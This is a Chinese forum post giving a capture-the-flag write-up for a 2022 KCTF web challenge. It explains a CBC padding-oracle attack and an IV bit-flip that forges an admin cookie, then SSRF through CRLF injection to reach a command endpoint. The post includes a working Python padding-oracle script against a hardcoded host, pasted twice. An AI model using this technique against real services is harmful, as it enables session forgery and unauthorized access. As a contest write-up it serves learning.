首页
社区
课程
招聘
[原创] 2022 KCTF 第五题 灾荒蔓延 98k Writeup
发表于: 2022-11-25 16:03 8923

[原创] 2022 KCTF 第五题 灾荒蔓延 98k Writeup

2022-11-25 16:03
8923

访问主页会给一个 isadmin 的 cookie, 带上此 cookie 直接访问 /admin, 发现提示不是 admin.
对 cookie 最后一位修改后提示 decrypt error, 再结合 unhexlify 后长度 32, 可以猜出是分块加密.
然后修改第一位, 提示 json parse error, 那么可以得知大概率是 CBC 模式 + PKCS7 Padding.

通过 padding oracle 可以解出是 {"admin":"0"}\x03\x03\x03, 那么直接构造 iv 使得 CBC 解密出来 admin 为 1 即可.
使用构造的 cookie 访问 /admin, 提示 post cmd 到 /C00mmmmanD. 但是此时即使带上 isadmin cookie 访问 /C00mmmmanD 却还提示不是 admin, 那么大概率要结合一开始的 /search 的接口来 SSRF.
但是 search 只能发送 GET 请求, 由 Http banner 可以得知服务器是 express, 搜索 node 的 CRLF, 可以搜到 https://xz.aliyun.com/t/2894
直接用同样的方法测试可以利用, 那么直接构造请求 POST /C00mmmmanD 即可.

import binascii
 
import requests
 
# https://github.com/mwielgoszewski/python-paddingoracle
from paddingoracle import PaddingOracle, BadPaddingException
 
 
class PadBuster(PaddingOracle):
    def __init__(self, session: requests.Session, wait: float = 0.1, **kwargs):
        super(PadBuster, self).__init__(**kwargs)
        self.session = session
        self.wait = wait
 
    def oracle(self, data, **kwargs):
        token = binascii.hexlify(data).decode()
 
        resp = None
        while True:
            try:
                resp = self.session.get('http://150.158.18.137:5329/admin', cookies={
                    'isadmin': token
                })
                break
            except requests.HTTPError:
                # time.sleep(self.wait)
                continue
 
        self.history.append(resp)
 
        if 'Decrypt error' not in resp.text:
            return
        else:
            raise BadPaddingException
 
 
sess = requests.session()
pad_buster = PadBuster(sess)
 
ct = binascii.unhexlify('b60bdcada90e7c628b68d0ed965363858dc1695757156638e9b86ac59c99e7c2')
print(len(ct))
print(ct)
 
# admin_token = pad_buster.decrypt(ct[16:], block_size=16, iv=ct[:16])
# print(admin_token)
# b'{"admin":"0"}\x03\x03\x03'
 
iv = bytearray(ct[:16])
iv[10] = iv[10] ^ ord('0') ^ ord('1')
 
print(binascii.hexlify(bytes(iv) + ct[16:]))
import binascii
 
import requests
 
# https://github.com/mwielgoszewski/python-paddingoracle
from paddingoracle import PaddingOracle, BadPaddingException
 
 
class PadBuster(PaddingOracle):
    def __init__(self, session: requests.Session, wait: float = 0.1, **kwargs):
        super(PadBuster, self).__init__(**kwargs)
        self.session = session
        self.wait = wait
 
    def oracle(self, data, **kwargs):
        token = binascii.hexlify(data).decode()
 
        resp = None
        while True:
            try:
                resp = self.session.get('http://150.158.18.137:5329/admin', cookies={
                    'isadmin': token
                })
                break
            except requests.HTTPError:
                # time.sleep(self.wait)
                continue
 
        self.history.append(resp)
 
        if 'Decrypt error' not in resp.text:
            return
        else:
            raise BadPaddingException
 
 
sess = requests.session()
pad_buster = PadBuster(sess)
 
ct = binascii.unhexlify('b60bdcada90e7c628b68d0ed965363858dc1695757156638e9b86ac59c99e7c2')
print(len(ct))

[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)

收藏
免费 2
支持
分享
最新回复 (1)
雪    币: 5568
活跃值: (3208)
能力值: ( LV12,RANK:407 )
在线值:
发帖
回帖
粉丝
2
2022-11-28 21:10
0
游客
登录 | 注册 方可回帖
返回
//